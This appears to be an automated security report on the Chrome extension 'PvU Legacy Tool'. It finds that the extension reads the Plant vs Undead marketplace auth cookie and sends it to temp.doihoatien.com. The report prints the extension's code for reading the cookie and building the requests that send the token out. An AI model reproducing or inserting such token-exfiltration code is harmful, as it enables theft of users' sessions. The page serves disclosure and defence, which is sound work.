Is PvU Legacy Tool safe?
PvU Legacy Tool sends the Plant vs Undead marketplace auth token to temp.doihoatien.com.
When you use the Plant vs Undead marketplace, the extension reads the site's token cookie and saves it in Chrome sync storage. Its popup and automation features then send that token in requests to temp.doihoatien.com for whitelist checks and game actions such as harvesting, stealing plants, chasing the Crow King, and claiming pet rewards.
AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.
Publishers can request a review.
Findings
PvU marketplace token sent to temp.doihoatien.com
Using PvU Legacy Tool on the Plant vs Undead marketplace makes it read the token cookie and save it to Chrome sync storage.
The popup then uses that token in GET requests to temp.doihoatien.com/pvu_tool.php, in the t parameter.
- Severity
- High unwanted
- Type
- Unexpected
- CWE
- CWE-522
- Source
- Dynamic sandbox
You visit the Plant vs Undead marketplace while signed in and then open the extension popup.
The content script runs on marketplace pages, and the popup starts its verification workflow when opened.
The extension reads your marketplace token cookie, stores it, and sends it to temp.doihoatien.com.
The token is placed in the t query parameter on pvu_tool.php requests.
- Marketplace auth tokeneyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJwdWJsaWNBZGRyZXNzIjoiMHgxMjM0NTY3ODkwYWJjZGVmMTIzNDU2Nzg5MGFiY2RlZjEyMzQ1Njc4IiwiaWF0IjoxNzE2MjM5MDQwfQ.s8g8S0Nm0rlrU66mse0fdSXqJ2w-zTSfH7umqv5d8hY (illustrative)
This can identify your signed-in marketplace session and authorize marketplace requests tied to you.
- Action codea=h
This tells the remote server which marketplace helper action the extension wants to run for your session.
- Tool version flagv=1
This adds extension workflow context to the remote request alongside your token.
- Marketplace slot ID6469159e3c11ee31f02d8661
For automated actions, this identifies a specific marketplace plant or slot associated with your session.
- accept
- application/json
Cookie read, storage handoff, popup trigger, and remote GET helpers
Readable flow for the marketplace content script
pvu_web_content.jsconst marketplaceToken = readCookieValue("token");let userId;let walletId;let latestFailedActionTime;let shouldRefreshData = false;let isAccountVerified = false;let isAutoHarvestConfigured = false;let plantCount = 0;initializeMarketplaceJob();async function initializeMarketplaceJob() { if (typeof marketplaceToken === "undefined" || marketplaceToken.length === 0) { return; } await chrome.storage.sync.set({ token_ex: marketplaceToken }); const userInfo = await GetUserInfo(marketplaceToken); walletId = userInfo?.data?.publicAddress; latestFailedActionTime = userInfo?.data?.stealFailLatestTime || 0; const { verified } = await chrome.storage.sync.get("verified"); const { config_auto_harvest } = await chrome.storage.sync.get("config_auto_harvest"); isAccountVerified = verified; isAutoHarvestConfigured = config_auto_harvest; const { totalPlants } = await chrome.storage.sync.get("totalPlants"); plantCount = totalPlants; await chrome.storage.sync.get("plants"); const { last_get_plants } = await chrome.storage.sync.get("last_get_plants"); const now = new Date().getTime(); const needsFreshData = typeof last_get_plants === "undefined" || (now - last_get_plants) / 1000 > 180; let plants = await GetPlantsFromGroup(); if (typeof plants === "undefined" || plants.length === 0 || needsFreshData) { if (isAccountVerified) { await FetchAllPlantsGroupByLand(marketplaceToken, walletId); plants = await GetPlantsFromGroup(); } else { plants = await FetchAllPlants(marketplaceToken, walletId); } } if (plants.length > 0) { const firstPlant = plants[0]; const { crowWaterAlarms } = await chrome.storage.sync.get("crowWaterAlarms"); await InitUI(firstPlant, crowWaterAlarms); }}function readCookieValue(name) { const escapedName = name.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g, "\\$1"); const match = document.cookie.match(new RegExp("(?:^|; )" + escapedName + "=([^;]*)")); return match ? decodeURIComponent(match[1]) : undefined;}Readable flow for the popup token handoff
popup.jschrome.storage.sync.get("token_ex", ({ token_ex }) => { document.getElementById("instruction-load-data").style.display = "none"; if (typeof token_ex === "undefined") { document.getElementById("game-info-area").style.display = "none"; document.getElementById("instruction-load-data").style.display = "block"; return; } token = token_ex; CallCheckHarvestWhiteList(token).then((data) => { if (data.status === "0") { document.getElementById("verified").style.display = "block"; chrome.storage.sync.set({ verified: true }); verified = true; } else { chrome.storage.sync.set({ verified: false }); } chrome.storage.sync.get("last_get_plants").then((storageData) => { const { last_get_plants } = storageData; document.getElementById("cache_time").innerHTML = typeof last_get_plants !== "undefined" ? GetDatetimeDisplay(last_get_plants) : "-"; const now = new Date().getTime(); const needsFreshData = typeof last_get_plants === "undefined" || (now - last_get_plants) / 1000 > 180; if (needsFreshData) { GetUserDataLocal().then((userData) => { if (verified) { FetchAllPlantsGroupByLand(token, userData.wallet_id).then(() => { LoadPlantGroup(); }); } else { FetchAllPlants(token, userData.wallet_id).then(() => { LoadPlants(); }); } }); } else if (verified) { LoadPlantGroup(); } else { LoadPlants(); } }); });});Readable flow for the temp.doihoatien.com requests
utils.jsasync function checkHarvestWhitelist(token) { const url = "https://temp.doihoatien.com/pvu_tool.php?t=" + token + "&v=1&a=h"; const response = await fetch(url, { method: "GET", headers: new Headers({ accept: "application/json" }) }); return await response.json();}async function checkAdvancedWhitelist(token) { const url = "https://temp.doihoatien.com/pvu_tool.php?t=" + token + "&v=1&a=s"; const response = await fetch(url, { method: "GET", headers: new Headers({ accept: "application/json" }) }); return await response.json();}async function requestHarvestAction(token, slotId, noPlants) { const url = "https://temp.doihoatien.com/pvu_tool.php?t=" + token + "&a=h" + "&slot_id=" + slotId + "&n=" + noPlants; const response = await fetch(url, { method: "GET", headers: new Headers({ accept: "application/json" }) }); return await response.json();}async function requestSecondaryPlantAction(token, slotId) { const url = "https://temp.doihoatien.com/pvu_tool.php?t=" + token + "&a=s" + "&slot_id=" + slotId; const response = await fetch(url, { method: "GET", headers: new Headers({ accept: "application/json" }) }); return await response.json();}async function requestCrowKingAction(token) { const url = "https://temp.doihoatien.com/pvu_tool.php?t=" + token + "&a=ck"; const response = await fetch(url, { method: "GET", headers: new Headers({ accept: "application/json" }) }); return await response.json();}async function requestPetRewardAction(token, slotId) { const url = "https://temp.doihoatien.com/pvu_tool.php?t=" + token + "&a=cr&slot_id=" + slotId; const response = await fetch(url, { method: "GET", headers: new Headers({ accept: "application/json" }) }); return await response.json();}- temp.doihoatien.com
Receives pvu_tool.php GET requests whose t query parameter is the Plant vs Undead marketplace token.
What it can do
Permissions this extension asks for, as declared in version 1.0.31. Asking for a permission is not a finding on its own - it is what the extension can do if it chooses to.
Read and change your data on marketplace.plantvsundead.com
https://marketplace.plantvsundead.com/
Read and change your data on api.plantvsundead.com
https://api.plantvsundead.com/
Read and change your data on pvu.lovestoblog.com
https://pvu.lovestoblog.com/
Store data in your browser
storage
Show you desktop notifications
notifications
Schedule its own background tasks
alarms
Where it sends data
Destinations our analysis observed PvU Legacy Tool contacting. Sending data somewhere is not a finding on its own - an extension that syncs your settings has to talk to its own server - but it is where your data can go, and who else it goes to.
- temp.doihoatien.com
PvU Legacy Tool sends data to temp.doihoatien.com. No other extension we have analysed sends data here.